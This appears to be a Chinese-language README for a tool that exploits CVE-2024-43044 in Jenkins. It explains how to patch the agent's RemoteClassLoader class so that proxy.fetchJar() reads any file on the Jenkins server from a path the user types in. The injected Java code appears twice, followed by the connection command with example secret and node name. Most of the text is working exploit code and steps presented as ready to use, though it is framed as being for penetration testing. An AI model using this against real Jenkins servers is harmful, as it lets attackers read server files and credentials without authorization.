Jenkins Agent 文件读取漏洞利用工具
本项目针对 CVE-2024-43044 漏洞提供完整的利用方案。通过修改 Jenkins Agent 中的 RemoteClassLoader.class 类,实现对 Jenkins 服务器端的任意文件读取,可用于安全测试与漏洞验证。
功能特性
- 远程文件读取:利用修改后的
RemoteClassLoader类,通过proxy.fetchJar()方法读取服务器任意文件 - Agent 连接:支持通过
-url、-secret、-name参数连接到目标 Jenkins 节点 - 交互式输入:运行时动态输入要读取的文件路径,无需重新编译
- UTF-8 编码支持:正确读取并显示 UTF-8 编码的文件内容
安装指南
依赖要求
- Java 运行环境 (JRE) 1.8 及以上
- Jenkins Agent JAR 包
安装步骤
-
下载 agent.jar
通过浏览器访问以下 URL 下载 Jenkins Agent JAR 包:http://<jenkins-ip>:<port>/jnlpJars/agent.jar -
修改 RemoteClassLoader 类
找到\hudson\remoting\RemoteClassLoader.class文件,按照漏洞利用要求修改对应代码。 -
重新编译打包
完成代码修改后,重新编译并打包 agent.jar。
使用说明
前置条件
- 需要提前获取 Jenkins 节点的 密钥 (secret) 和 名称 (name)
- 确保能够通过网络访问目标 Jenkins 服务
基础用法
连接 Jenkins Agent 并执行文件读取:
java -jar agent.jar -url http://<jenkins-ip>:<port>/ -secret <node-secret> -name <node-name>
代码注入示例
在修改 RemoteClassLoader 类时,添加以下核心代码以实现文件读取功能:
import java.util.Scanner;
try {
Scanner scanner = new Scanner(System.in);
System.out.print("输入读取文件path:");
String inputText = scanner.nextLine();
System.out.println("尝试读取:" + inputText);
URL jarFileUrl = new URL("file:///" + inputText);
byte[] fileContent = this.proxy.fetchJar(jarFileUrl);
String contentAsString = new String(fileContent, StandardCharsets.UTF_8);
System.out.println("文件内容:\n" + contentAsString);
} catch (Exception var10) {
System.out.println("WRONG:" + var10);
}
典型使用场景
- 渗透测试:验证目标 Jenkins 服务是否存在 CVE-2024-43044 漏洞
- 安全审计:检测敏感文件访问权限是否配置正确
- 漏洞复现:安全研究人员分析漏洞原理与影响范围
核心代码
RemoteClassLoader 文件读取逻辑
以下是注入到 RemoteClassLoader.class 中的完整核心代码:
// 导入必要的类
import java.util.Scanner;
import java.net.URL;
import java.nio.charset.StandardCharsets;
// 在适当位置添加以下代码块
try {
// 创建扫描器接收用户输入
Scanner scanner = new Scanner(System.in);
System.out.print("输入读取文件path:");
String inputText = scanner.nextLine();
System.out.println("尝试读取:" + inputText);
// 构建 file:// 协议的 URL
URL jarFileUrl = new URL("file:///" + inputText);
// 通过 proxy 调用 fetchJar 方法读取文件
byte[] fileContent = this.proxy.fetchJar(jarFileUrl);
// 将字节数组转换为 UTF-8 字符串
String contentAsString = new String(fileContent, StandardCharsets.UTF_8);
System.out.println("文件内容:\n" + contentAsString);
} catch (Exception var10) {
// 异常处理
System.out.println("WRONG:" + var10);
}
Agent 连接核心参数
# 完整连接命令
java -jar agent.jar -url http://target-ip:8080/ -secret 9f8e7d6c5b4a3210 -name my-agent-node
6HFtX5dABrKlqXeO5PUv/3cT22hh1fvsCNJmHktPn8Q8ZnqZSF8fjXcA7iCS3+se